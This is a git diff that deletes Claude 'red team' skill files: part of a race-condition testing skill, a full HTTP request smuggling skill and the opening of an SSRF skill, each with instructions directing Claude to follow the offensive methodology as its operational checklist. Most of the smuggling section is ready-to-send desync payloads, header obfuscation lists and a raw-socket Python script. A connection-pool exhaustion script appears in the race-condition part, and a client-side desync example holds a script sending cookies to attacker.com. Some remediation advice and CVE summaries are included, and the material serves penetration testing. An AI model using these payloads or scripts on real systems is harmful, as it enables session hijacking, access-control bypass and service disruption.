- Tester->>Application: Identify state-changing operations
- Tester->>Application: Create test accounts
- Tester->>Tester: Prepare concurrent request tools
-
- Note over Tester: Discovery Phase
- Tester->>Application: Send 50+ parallel requests
- Application->>Database: Multiple concurrent operations
- Note over Database: Race condition occurs
- Database->>Application: Inconsistent state
- Application->>Tester: Observe anomalous behavior
-
- Note over Tester: Exploitation Phase
- Tester->>Tester: Fine-tune timing parameters
- Tester->>Application: Execute optimized attack
- Tester->>Tester: Document impact
-```
-
-1. **Preparation Phase**:
- - Map application functionality with state changes
- - Create multiple test accounts
- - Prepare parallel request tools and monitoring
-
-2. **Discovery Phase**:
- - Test for TOCTOU issues in all critical functions
- - Test multi-step transactions with simultaneous final steps
- - Look for resource contention vulnerabilities
- - Test file operations for race conditions
-
-3. **Exploitation Phase**:
- - Fine-tune timing and concurrency parameters
- - Create proof-of-concept exploits for confirmed issues
- - Measure impact with controlled exploitation
- - Document findings with clear reproduction steps
-
-4. **Verification Phase**:
- - Test different concurrency levels (10, 50, 100 requests)
- - Vary timing patterns (synchronized vs staggered)
- - Test across different network conditions
-
-### Real-World Testing Examples
-
-#### E-commerce Application Testing
-
-1. Add limited stock item to cart
-2. Send 20 simultaneous checkout requests
-3. Verify if multiple purchases succeed despite limited inventory
-
-#### Banking Application Testing
-
-1. Identify fund transfer functionality
-2. Create 50 simultaneous transfer requests for the same amount
-3. Verify account balance after transfers complete
-4. Check for transaction logs inconsistencies
-
-#### API Testing for Race Conditions
-
-1. Identify stateful API endpoints
-2. Create requests that modify shared resources
-3. Execute requests simultaneously from multiple clients
-4. Verify resource state consistency
-
-## Advanced Race Condition Scenarios
-
-### Multi-Endpoint Race Conditions
-
-When functionality chains with multiple requests, for example in e-commerce:
-
-```
-- /product --> for the product
-- /cart --> Add to cart that product
-- /cart/checkout --> Buy that product
-```
-
-1. Send all required requests to Burp repeater in sequence
-2. Create tabs for each request
-3. Use "Send Parallel (single Packet Attack)" for execution
-
-### Single-Endpoint Race Conditions
-
-Common in email change functionality:
-
-1. Setup:
- ```
- Account A: Attacker --> [email protected]
- Account B: Victim --> [email protected]
- ```
-2. When application updates email in database before confirmation
-3. Send parallel requests changing email between attacker and victim addresses
-4. If application generates confirmation links simultaneously, both may be sent to the same email
-5. Impact: Potential for Account Takeover
-
-## Remediation Recommendations
-
-- **Transaction Isolation**: Implement proper database transaction isolation levels
-- **Pessimistic Locking**: Lock resources before operations
-- **Optimistic Concurrency Control**: Use version numbers or timestamps
-- **Atomic Operations**: Use atomic operations where supported
-- **Idempotent APIs**: Design APIs to be safely retried
-- **Distributed Locks**: Implement distributed locking for microservices
-- **Queue-Based Architecture**: Process requests sequentially through queues
-- **Rate Limiting**: Enforce reasonable request rates per user
-- **Stateful Synchronization**: Maintain consistent application state
-- **Unique Constraint Enforcement**: Database-level constraint validation
-
-### Connection Pool Exhaustion Races
-
-Applications using connection pools (database, Redis, HTTP clients) can be vulnerable:
-
-```python
-# Test connection pool exhaustion
-import requests
-import threading
-
-def hold_connection():
- # Keep connection open without releasing
- r = requests.get('https://target.com/long-running-query', stream=True)
- # Don't close, hold for 30 seconds
- time.sleep(30)
-
-# Exhaust pool
-threads = []
-for _ in range(100): # More than pool size
- t = threading.Thread(target=hold_connection)
- threads.append(t)
- t.start()
-
-# Now test if race conditions occur in queue processing
-```
-
-**Testing Strategy:**
-
-1. Identify endpoints that hold connections (long-running queries, file downloads)
-2. Exhaust the pool with held connections
-3. Test critical operations during exhaustion
-4. Check if timeouts cause race conditions in cleanup logic
-
-### CI/CD Pipeline Race Conditions
-
-Deployment processes can have race conditions affecting security:
-
-**Artifact Deployment Races:**
-
-- Multiple pipelines deploying same artifact simultaneously
-- Race between artifact upload and deployment
-- Container image tag races (`latest` tag pointing to old image)
-
-**Database Migration Races:**
-
-```bash
-# Two deployment instances running migrations simultaneously
-# Test by triggering parallel deployments
-
-# Check for migration locks
-kubectl get pods -l job-name=db-migrate
-
-# Test concurrent schema changes
-```
-
-**Configuration Deployment:**
-
-- Race between config update and application reload
-- Multiple instances reading stale configuration
-- Secret rotation during active requests
-
-**Testing Approach:**
-
-1. Trigger multiple simultaneous deployments
-2. Monitor for corrupted artifacts or partial deployments
-3. Check database migration logs for conflicts
-4. Verify configuration consistency across instances
-
-## Real World Cases and CVEs
-
-### Notable Race Condition Vulnerabilities
-
-1. **CVE-2023-6690 - GitHub Enterprise Server**:
- - GraphQL mutation race condition
- - Low-privileged users could grant themselves site-admin privileges
- - Impact: Complete administrative takeover
-
-2. **CVE-2021-41091 - Docker (Moby)**:
- - Race condition in permission check during container removal
- - Allowed non-root users to delete arbitrary files
- - Impact: Host system compromise
-
-3. **CVE-2019-5736 - runc Container Escape**:
- - Race condition in container runtime
- - Attacker could overwrite host runc binary
- - Impact: Container escape to host
-
-4. **CVE-2016-5195 - Dirty COW (Linux Kernel)**:
- - Race condition in memory management (Copy-on-Write)
- - Allowed privilege escalation to root
- - Impact: Complete system compromise
-
-5. **PayPal - Double Payment Race Condition**:
- - Concurrent payment requests processed twice
- - User charged once but vendor paid twice
- - Impact: Financial loss
-
-6. **Shopify - Gift Card Race Condition**:
- - Single-use gift cards redeemed multiple times
- - Race in balance check and deduction logic
- - Impact: Financial fraud
-
-7. **Uber - Promotional Code Race**:
- - One-time promo codes used multiple times
- - Concurrent ride requests with same code
- - Impact: Revenue loss
-
-### HackerOne Reports
-
-1. **Flag Submission**: Race condition allowing multiple submissions of the same CTF flag, increasing user points unfairly
-2. **Invite System**: Race condition allowing invitation of same member multiple times to a single team
-3. **Retest Payment**: Race condition allowing multiple payments for a single retest
-4. **Group Member Management**: Race condition preventing admin from removing group members
-5. **User Following**: Race condition allowing multiple follows of the same user
-6. **Report Voting**: Race condition enabling multiple upvotes/downvotes on a single report
-7. **CTF Group Joining**: Race condition allowing multiple joins to the same CTF group
-8. **Invitation Limit Bypass**: Race condition bypassing the invitation limit restriction
-9. **Gift Card Redemption**: Race condition enabling multiple redemptions of the same gift card
-10. **OAuth Token Generation**: Race during token generation allowed multiple valid tokens for single authorization code
-
-### Impact Categories
-
-- **Critical**: Financial loss, privilege escalation, data corruption
-- **High**: Business logic bypass, resource exhaustion, unauthorized access
-- **Medium**: Rate limit bypass, duplicate operations, inconsistent state
-- **Low**: UI glitches, non-security-impacting inconsistencies
-
-## Burp Suite Testing Methods
-
-### Using Burp 2023.9.x or Higher
-
-1. Send the request to repeater for multiple instances
-2. Create tabs for all requests and select "Send Parallel (single Packet Attack)"
-3. Execute and analyze results
-
-### Using Turbo Intruder for Rate Limit Testing
-
-```python
-def queueRequests(target, wordlists):
- engine = RequestEngine(endpoint=target.endpoint,
- concurrentConnections=1,
- engine=Engine.BURP2)
-
- passwords = wordlists.clipboard
-
- for password in passwords:
- engine.queue(target.req, password, gate='1')
-
- engine.openGate('1')
-
-def handleResponse(req, interesting):
- table.add(req)
-```
-
diff --git a/.claude/skills/claude-red/web/offensive-request-smuggling/SKILL.md b/.claude/skills/claude-red/web/offensive-request-smuggling/SKILL.md
deleted file mode 100644
index 041a030..0000000
--- a/.claude/skills/claude-red/web/offensive-request-smuggling/SKILL.md
+++ /dev/null
@@ -1,771 +0,0 @@
-# SKILL: HTTP Request Smuggling
-
-## Metadata
-- **Skill Name**: request-smuggling
-- **Folder**: offensive-request-smuggling
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md
-
-## Description
-HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
-
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync`
-
-## Instructions for Claude
-
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
-
----
-
-## Full Methodology
-
-# HTTP Request Smuggling
-
-## Mechanisms
-
-HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
-
-```mermaid
-graph TD
- A[Client] -->|HTTP Request| B[Front-end Server]
- B -->|Interpreted Request| C[Back-end Server]
- B -->|Different Interpretation| D[Desynchronization]
- D -->|Smuggled Request| C
- D -->|Security Bypass| E[Unauthorized Access]
- D -->|Queue Poisoning| F[Response Hijacking]
-```
-
-Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
-
-- **Transfer-Encoding (TE) header**: Indicates chunked encoding
-- **Content-Length (CL) header**: Specifies the length of the message body
-- **Header parsing**: Different handling of whitespace, newlines, and malformed headers
-
-Common desynchronization scenarios include:
-
-- **CL.TE**: Front-end uses Content-Length, back-end uses Transfer-Encoding
-- **TE.CL**: Front-end uses Transfer-Encoding, back-end uses Content-Length
-- **TE.TE**: Both servers use Transfer-Encoding but handle edge cases differently
-
-HTTP/2/3 specific desync variants:
-
-- H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
-- H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
-- Authority/Host Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.
-
-```mermaid
-graph LR
- subgraph "CL.TE Attack"
- A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
- B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
- C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
- end
-```
-
-Modern variations include:
-
-- **H2.HTTP/1**: HTTP/2 to HTTP/1 downgrades causing inconsistencies
-- **HTTP/1.H2**: HTTP/1 to HTTP/2 transitions with different interpretations
-- **Timeout-based**: Exploiting time differences in connection handling
-- **Method-based**: Different interpretations of HTTP methods
-- **Header-based**: Inconsistent header parsing between servers
-
-## Hunt
-
-### Identifying Vulnerable Applications
-
-#### Architecture Reconnaissance
-
-- Look for multi-server architectures with proxies, load balancers, or CDNs
-- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
-- Check for HTTP/2 support with HTTP/1 backend compatibility
-
-#### Basic Detection Tests
-
-1. CL.TE Vulnerability Detection (Time Delay Example):
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Transfer-Encoding: chunked
- Content-Length: 4
-
- 1
- A
- X
- ```
-
- Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
-
-2. TE.CL Vulnerability Detection (Time Delay Example):
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Transfer-Encoding: chunked
- Content-Length: 6
-
- 0
-
- X
- ```
-
- Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
-
-3. CL.TE Confirmation (Example):
-
- ```http
- POST / HTTP/1.1
- Host: your-lab-id.web-security-academy.net
- Connection: keep-alive
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 6
- Transfer-Encoding: chunked
-
- 0
-
- G
- ```
-
- Send twice. The second response should indicate an unrecognized method like `GPOST`.
-
-4. TE.CL Confirmation (Example):
- (Ensure Burp's "Update Content-Length" is unchecked)
-
- ```http
- POST / HTTP/1.1
- Host: your-lab-id.web-security-academy.net
- Content-Type: application/x-www-form-urlencoded
- Content-length: 4
- Transfer-Encoding: chunked
-
- 5c
- GPOST / HTTP/1.1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 15
-
- x=1
- 0
-
-
- ```
-
- Send twice. The second request should show the effect of the smuggled `GPOST`.
-
-5. TE.TE Desync Detection (Obfuscation Example):
- (Ensure Burp's "Update Content-Length" is unchecked)
-
- ```http
- POST / HTTP/1.1
- Host: your-lab-id.web-security-academy.net
- Content-Type: application/x-www-form-urlencoded
- Content-length: 4
- Transfer-Encoding: chunked
- Transfer-encoding: cow
-
- 5c
- GPOST / HTTP/1.1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 15
-
- x=1
- 0
-
-
- ```
-
- Send twice. The second request should show the effect of the smuggled `GPOST`, confirming that one server ignored the obfuscated `Transfer-encoding: cow` header.
-
-#### Advanced Detection Techniques
-
-- **Differential Testing**: Observe response timing differences
-- **Time Delays**: Add artificial delays between requests to detect queue interference
-- **Obfuscation Testing**: Try various obfuscation techniques:
- ```http
- Transfer-Encoding: xchunked
- Transfer-Encoding: chunked
- Transfer-Encoding : chunked
- Transfer-Encoding: chunked
- Transfer-Encoding: identity, chunked
- ```
-
- - HTTP/2 Specific: Duplicate `content-length` headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.
-
-### Testing Methodology
-
-```mermaid
-flowchart TD
- A[Initial Assessment] --> B{Vulnerability Detected?}
- B -->|Yes| C[Confirmation Testing]
- B -->|No| D[Try Advanced Techniques]
- D --> B
- C --> E{Confirmed?}
- E -->|Yes| F[Targeted Testing]
- E -->|No| D
- F --> G[Documentation & Exploitation]
-
- subgraph "Initial Assessment"
- A1[Test CL.TE Payloads]
- A2[Test TE.CL Payloads]
- A3[Check Header Obfuscation]
- end
-
- subgraph "Confirmation Testing"
- C1[Send Request with Clear Response]
- C2[Test Queue Poisoning]
- C3[Check Status Code Anomalies]
- end
-
- subgraph "Targeted Testing"
- F1[Test HTTP/2 Downgrade]
- F2[Check Header Oversizing]
- F3[Test Method Handling]
- end
-```
-
-1. **Initial Assessment**:
- - Test standard CL.TE and TE.CL payloads
- - Try header obfuscation techniques
- - Check for timing inconsistencies
-
-2. **Confirmation Testing**:
- - Send a smuggled request that should trigger a distinct response
- - Test for request queue poisoning by affecting subsequent requests
- - Look for response status code anomalies
-
-3. **Targeted Testing**:
- - Test HTTP/2 downgrade scenarios
- - Check for header oversizing vulnerabilities
- - Test method-specific handling differences
-
-## Vulnerabilities
-
-### Common HTTP Request Smuggling Scenarios
-
-```mermaid
-mindmap
- root((HTTP Request Smuggling))
- Security Control Bypass
- WAF Bypass
- Access Control Evasion
- Authentication Bypass
- Request/Response Queue Poisoning
- Request Hijacking
- Response Queue Poisoning
- Cache Poisoning
- Server-Specific Vulnerabilities
- Nginx-Specific
- Apache-Specific
- NodeJS-Specific
- Impact
- Session Hijacking
- Data Exposure
- XSS Injection
- Cache Poisoning
- Network Scanning
- Account Takeover
-```
-
-#### Security Control Bypass
-
-- Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection
-- Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests
-- Authentication Bypass: Manipulating authentication flows through request smuggling
-
-#### Request/Response Queue Poisoning
-
-- Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens
-- Response Queue Poisoning: Causing wrong responses to be sent to users
-- Cache Poisoning: Injecting malicious content into caches serving multiple users
-
-#### Server-Specific Vulnerabilities
-
-- Nginx-Specific: Inconsistent `Transfer-Encoding` handling with underscore prefixes
-- Apache-Specific: Different chunked encoding parser behavior
-- NodeJS-Specific: Unique header parsing behavior with multiple headers
-
-### Impact Examples
-
-- Session Hijacking: Stealing user session cookies through request smuggling
-- Sensitive Data Exposure: Smuggling requests to internal resources
-- Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users
-- HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users
-- Internal Network Scanning: Using request smuggling for SSRF-like network scanning
-- Account Takeover: Smuggling requests to change user credentials
-
-## Methodologies
-
-### Tools
-
-- Burp Suite Professional: HTTP Request Smuggler extension ([_PortSwigger BApp Store_](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646))
-- smuggler.py: `python3 smuggler.py -u <URL>` ([_defparam/smuggler_](https://github.com/defparam/smuggler), [_anshumanpattnaik/http-request-smuggling_](https://github.com/anshumanpattnaik/http-request-smuggling))
-- tiscripts: Collection of scripts including smuggling checks ([_defparam/tiscripts_](https://github.com/defparam/tiscripts))
-- h2csmuggler: `go run ./cmd/h2csmuggler check https://target.com/ http://localhost` ([_assetnote/h2csmuggler_](https://github.com/assetnote/h2csmuggler), [_BishopFox/h2csmuggler_](https://github.com/BishopFox/h2csmuggler) for HTTP/2)
-- Turbo Intruder: For advanced/customized request smuggling techniques in Burp Suite.
-- Param Miner: For detecting hidden attack surfaces which might be vulnerable.
-- h2spec / h3spec: Conformance testing for HTTP/2 and HTTP/3 implementations.
-
-### Testing Techniques
-
-#### Basic Request Smuggling Test Patterns
-
-1. **CL.TE Pattern**:
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Content-Length: 39
- Transfer-Encoding: chunked
-
- 0
-
- GET /admin HTTP/1.1
- Host: vulnerable-website.com
- ```
-
-2. **TE.CL Pattern**:
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Content-Length: 4
- Transfer-Encoding: chunked
-
- 5c
- GPOST / HTTP/1.1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 15
-
- x=1
- 0
-
- ```
-
-3. **HTTP/2 Downgrade Pattern**:
-
- ```http
- :method: POST
- :path: /
- :authority: vulnerable-website.com
- content-length: 0
- content-length: 44
-
- GET /admin HTTP/1.1
- Host: vulnerable-website.com
- ```
-
-4. **H2C Upgrade Smuggling Pattern**:
-
-```
-GET / HTTP/1.1
-Host: vulnerable-website.com
-Connection: Upgrade, HTTP2-Settings
-Upgrade: h2c
-HTTP2-Settings: AAMAAABkAAQAAP__
-
-GET /admin HTTP/1.1
-Host: vulnerable-website.com
-```
-
-#### Advanced Exploitation Techniques
-
-1. **Request Hijacking**:
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Content-Length: 50
- Transfer-Encoding: chunked
-
- 0
-
- GET / HTTP/1.1
- Host: vulnerable-website.com
- ```
-
-2. **Response Queue Poisoning**:
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Content-Length: 146
- Transfer-Encoding: chunked
-
- 0
-
- HTTP/1.1 200 OK
- Content-Type: text/html
- Content-Length: 30
-
- <html>Fake Response</html>
- ```
-
-3. **WebSocket Hijacking**:
-
- ```http
- POST / HTTP/1.1
- Host: vulnerable-website.com
- Content-Length: 65
- Transfer-Encoding: chunked
-
- 0
-
- GET /socket HTTP/1.1
- Upgrade: websocket
- Connection: Upgrade
- ```
-
-### Defense Testing
-
-1. **Testing Patch Effectiveness**:
- - Retest with various obfuscation techniques after patches
- - Check for incomplete fixes or workarounds
-
-2. **Header Variations**:
-
- ```
- Transfer-Encoding: chunked
- transfer-encoding: chunked
- Transfer-Encoding:chunked
- Transfer-Encoding: identity,chunked
- Transfer-Encoding: identity, chunked
- ```
-
-3. **Chunk Size Manipulation**:
-
- ```
- 1\r\n
- A\r\n
- 0\r\n
- \r\n
- ```
-
-4. **HTTP/2 Strictness Checks**:
-
-- Ensure single, consistent body length signaling; reject duplicate/malformed pseudo-headers.
-- Disable or tightly control h2c upgrades at edges.
-
-### Real-World Exploitation Workflow
-
-```mermaid
-sequenceDiagram
- participant A as Attacker
- participant F as Front-end Server
- participant B as Back-end Server
- participant V as Victim
-
- A->>F: 1. Send Smuggling Payload
- F->>B: 2. First Request (Front-end interpretation)
- Note over F,B: Desynchronization Occurs
- A->>F: 3. Send Normal Request
- F->>B: 4. Second Request gets appended to smuggled content
- V->>F: 5. Victim sends innocent request
- F->>B: 6. Victim's request gets processed with attacker's content
- B->>F: 7. Modified response based on smuggled content
- F->>V: 8. Victim receives unexpected/malicious response
-```
-
-1. **Identify Desync Vulnerability**:
- - Test CL.TE, TE.CL, TE.TE patterns
- - Confirm with time-delay observations
-
-2. **Establish Attack Vector**:
- - Determine the most reliable desync method
- - Identify the best obfuscation technique for the target
-
-3. **Craft Exploitation Payload**:
- - Create a request that smuggles another request
- - Target sensitive functionality or information disclosure
-
-4. **Execute and Validate**:
- - Send the smuggled request
- - Observe the effects on subsequent responses
-
-5. **Document Impact**:
- - Demonstrate real security implications
- - Show how the vulnerability could affect users
-
-### Modern Desync Variants
-
-#### HTTP/3 Desync
-
-HTTP/3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP/3 and HTTP/1.1:
-
-**HTTP/3 to HTTP/1.1 Translation:**
-
-```
-# HTTP/3 request with duplicate headers
-:method: POST
-:path: /api/endpoint
-:authority: target.com
-content-length: 10
-content-length: 50
-
-# Backend may use different content-length value
-```
-
-**Testing HTTP/3:**
-
-```bash
-# Using curl with HTTP/3
-curl --http3 https://target.com/endpoint -v
-
-# Check Alt-Svc header indicating HTTP/3 support
-curl -I https://target.com | grep -i alt-svc
-```
-
-**QUIC Stream Manipulation:**
-
-- Multiple streams in single connection may be processed inconsistently
-- Stream resets can leave partial data in backend queues
-- QPACK header compression differences between implementations
-
-#### Client-Side Desync (CSD)
-
-Client-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.
-
-**Mechanism:**
-
-1. Attacker crafts response that browser caches
-2. Response includes smuggled request
-3. Next victim request gets poisoned response
-
-**Example CSD Attack:**
-
-```http
-POST / HTTP/1.1
-Host: vulnerable.com
-Content-Length: 150
-Transfer-Encoding: chunked
-
-0
-
-GET /admin HTTP/1.1
-Host: vulnerable.com
-Content-Length: 10
-
-x=
-GET /static/innocent.js HTTP/1.1
-Host: vulnerable.com
-```
-
-**Browser receives:**
-
-```http
-HTTP/1.1 200 OK
-Content-Length: 100
-
-<script>
- // Malicious JavaScript injected into cached response
- document.location='http://attacker.com/steal?cookie='+document.cookie;
-</script>
-```
-
-**Testing for CSD:**
-
-1. Send smuggling payload
-2. Open same site in new tab
-3. Check if subsequent request receives smuggled response
-4. Look for `Age` or `X-Cache` headers indicating cache hit
-
-**High-Value Targets:**
-
-- JavaScript files (cached and executed)
-- CSS files (for exfiltration via background-image)
-- JSON API responses (manipulate application state)
-
-#### WebSocket Desync
-
-WebSocket upgrade process can be vulnerable to request smuggling:
-
-**WebSocket Upgrade Smuggling:**
-
-```http
-POST / HTTP/1.1
-Host: vulnerable.com
-Content-Length: 200
-Transfer-Encoding: chunked
-
-0
-
-GET /chat HTTP/1.1
-Host: vulnerable.com
-Upgrade: websocket
-Connection: Upgrade
-Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
-Sec-WebSocket-Version: 13
-Sec-WebSocket-Protocol: attacker-injection
-
-```
-
-**Smuggling After WebSocket Establishment:**
-
-```http
-# Send via established WebSocket connection
-GET /admin HTTP/1.1
-Host: vulnerable.com
-Cookie: admin_session=stolen_token
-```
-
-**WebSocket Frame Manipulation:**
-
-- Inject malicious frames during upgrade
-- Exploit frame fragmentation handling differences
-- Target WebSocket proxies (nginx, HAProxy) that may parse differently
-
-**Testing Steps:**
-
-1. Initiate WebSocket upgrade with smuggling payload
-2. Monitor if backend processes smuggled HTTP request
-3. Check WebSocket frames for injected content
-4. Test multiple simultaneous upgrade requests
-
-#### Request Tunneling via CONNECT
-
-CONNECT method can be abused for request smuggling:
-
-```http
-CONNECT internal.service:80 HTTP/1.1
-Host: vulnerable-proxy.com
-
-GET /admin HTTP/1.1
-Host: internal.service
-Authorization: Bearer stolen_token
-```
-
-**Testing:**
-
-1. Send CONNECT request to proxy
-2. Include smuggled request in CONNECT body
-3. Check if proxy forwards to internal service
-
-#### Pause-Based Desync
-
-Exploiting TCP flow control and timing:
-
-```python
-import socket
-import time
-
-s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.connect(('vulnerable.com', 80))
-
-# Send headers slowly
-s.send(b'POST / HTTP/1.1\r\n')
-time.sleep(2)
-s.send(b'Host: vulnerable.com\r\n')
-time.sleep(2)
-s.send(b'Content-Length: 50\r\n')
-s.send(b'Transfer-Encoding: chunked\r\n\r\n')
-
-# Send smuggled request
-s.send(b'0\r\n\r\nGET /admin HTTP/1.1\r\n')
-s.send(b'Host: vulnerable.com\r\n\r\n')
-```
-
-#### Header Oversizing
-
-Exploit differences in maximum header sizes:
-
-```http
-POST / HTTP/1.1
-Host: vulnerable.com
-X-Padding: AAAA[... 8KB of data ...]
-Content-Length: 100
-Transfer-Encoding: chunked
-
-0
-
-GET /admin HTTP/1.1
-```
-
-If front-end accepts larger headers than backend, backend may miss headers after cutoff point.
-
-### Detection Bypass Techniques (Advanced)
-
-**Header Name Obfuscation:**
-
-```http
-Transfer-Encoding : chunked # Space before colon
-Transfer-Encoding\t: chunked # Tab
-Transfer\rEncoding: chunked # Carriage return
-Transfer\x00Encoding: chunked # Null byte (rare)
-Transfer\x0bEncoding: chunked # Vertical tab
-```
-
-**Multiple Content-Length Variations:**
-
-```http
-Content-Length: 10
-Content-Length: 20
-Content-length: 30 # Case variation
-CONTENT-LENGTH: 40 # Uppercase
-Content-Length : 50 # Space before colon
-```
-
-**HTTP/2 Pseudo-Header Smuggling:**
-
-```http
-:method: POST
-:path: /
-:authority: target.com
-:method: GET # Duplicate pseudo-header
-content-length: 0
-content-length: 50 # Duplicate content-length
-```
-
-**Transfer-Encoding Value Pollution:**
-
-```http
-Transfer-Encoding: chunked, identity
-Transfer-Encoding: identity, chunked
-Transfer-Encoding: chunked;q=1
-Transfer-Encoding: chunked\x20\x20
-Transfer-Encoding: chunked\x0d\x0a
-```
-
-### Real-World CVEs
-
-1. **CVE-2023-45853 - MiniZinc HTTP Parser**:
- - Request smuggling via Transfer-Encoding handling
- - Impact: RCE via smuggled requests
-
-2. **CVE-2023-38545 - curl SOCKS5 Heap Overflow**:
- - Related to connection reuse that could enable smuggling
- - Impact: RCE in certain configurations
-
-3. **CVE-2022-31629 - PHP HTTP Response Splitting**:
- - Response splitting enabling smuggling attacks
- - Impact: XSS and cache poisoning
-
-4. **CVE-2021-41773 - Apache HTTP Server Path Traversal**:
- - Could be chained with request smuggling
- - Impact: RCE via CGI script access
-
-5. **CVE-2020-11724 - Varnish Cache HTTP/2 Desync**:
- - HTTP/2 to HTTP/1.1 downgrade desync
- - Impact: Cache poisoning and request smuggling
-
-## Remediation Recommendations
-
-- **Consistent Request Parsing**: Ensure consistent parsing rules across all servers
-- **HTTP/2 Isolation**: Avoid translating between HTTP/2 and HTTP/1.1 where possible
-- **Header Validation**: Implement strict header validation
-- **Connection Resets**: Reset connections after each request when possible
-- **WAF Rules**: Configure WAF to detect request smuggling attempts
-- **Content-Length Validation**: Ensure Content-Length matches actual content
-- **Chunked Encoding Validation**: Implement proper chunked encoding parsing
-- **Regular Security Testing**: Perform request smuggling-specific security tests
-- **Unified Parser**: Use a single RFC-compliant parsing library across front/back tiers; normalize `Host`/`:authority`
-- **Gateway Hardening**: Strip hop-by-hop/duplicate headers; disable TE other than `chunked`; enforce single message framing signal
-- **HTTP/3 Controls**: Ensure QUIC implementation correctly handles stream management and header compression
-- **WebSocket Security**: Validate WebSocket upgrade requests; sanitize Sec-WebSocket-\* headers; limit concurrent upgrades
-- **Client-Side Desync Prevention**: Set `Connection: close` on sensitive responses; use HTTP/2 exclusively; implement strict cache controls
-- **Monitoring**: Log anomalous header patterns; alert on multiple Content-Length or Transfer-Encoding headers; track connection reuse metrics
-
diff --git a/.claude/skills/claude-red/web/offensive-ssrf/SKILL.md b/.claude/skills/claude-red/web/offensive-ssrf/SKILL.md
deleted file mode 100644
index d018653..0000000
--- a/.claude/skills/claude-red/web/offensive-ssrf/SKILL.md
+++ /dev/null
@@ -1,828 +0,0 @@
-# SKILL: Server-Side Request Forgery (SSRF)
-
-## Metadata
-- **Skill Name**: ssrf
-- **Folder**: offensive-ssrf
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/ssrf.md
-
-## Description
-Server-Side Request Forgery testing checklist: SSRF discovery, blind SSRF with out-of-band, cloud metadata endpoints (AWS/GCP/Azure), SSRF filter bypass techniques (IP encoding, DNS rebinding, redirect chains), and SSRF to RCE escalation. Use for web app SSRF testing and bug bounty.
-
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`SSRF, server-side request forgery, blind SSRF, cloud metadata, AWS metadata, GCP metadata, SSRF bypass, DNS rebinding, redirect chain, SSRF RCE, internal port scan`
-
-## Instructions for Claude
-
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
-
----
-
-## Full Methodology
-
-# Server-Side Request Forgery (SSRF)
-
-## Shortcut
-
-- Spot the features prone to SSRF and take notes for future reference.
-- Set up a callback listener to detect blind SSRF by using an online service, Netcat, or Burp's Collaborator feature.
-- Provide the potentially vulnerable endpoints with common internal addresses or the address of your callback listener.
-- Check if the server responds with information that confirms the SSRF. Or, in the case of a blind SSRF, check your server logs for requests from the target server.
-- In the case of a blind SSRF, check if the server behavior differs when you request different hosts or ports.
-- If SSRF protection is implemented, try to bypass it by using the strategies discussed in this chapter.
-- Pick a tactic to escalate the SSRF.
-
-```mermaid
-flowchart LR
- A[Identify SSRF Vectors] --> B[Setup Callback Listener]
- B --> C[Test Internal Addresses]
- C --> D{Response Contains\nInternal Data?}
- D -->|Yes| E[Basic SSRF Confirmed]
- D -->|No| F[Check Callback\nListener Logs]
- F --> G{Callbacks\nReceived?}
- G -->|Yes| H[Blind SSRF Confirmed]
- G -->|No| I[Try Bypass Techniques]
- I --> J[Retest with Bypasses]
- E --> K[Escalate SSRF]
- H --> K
- J --> D
-```
-
-## Mechanisms
-
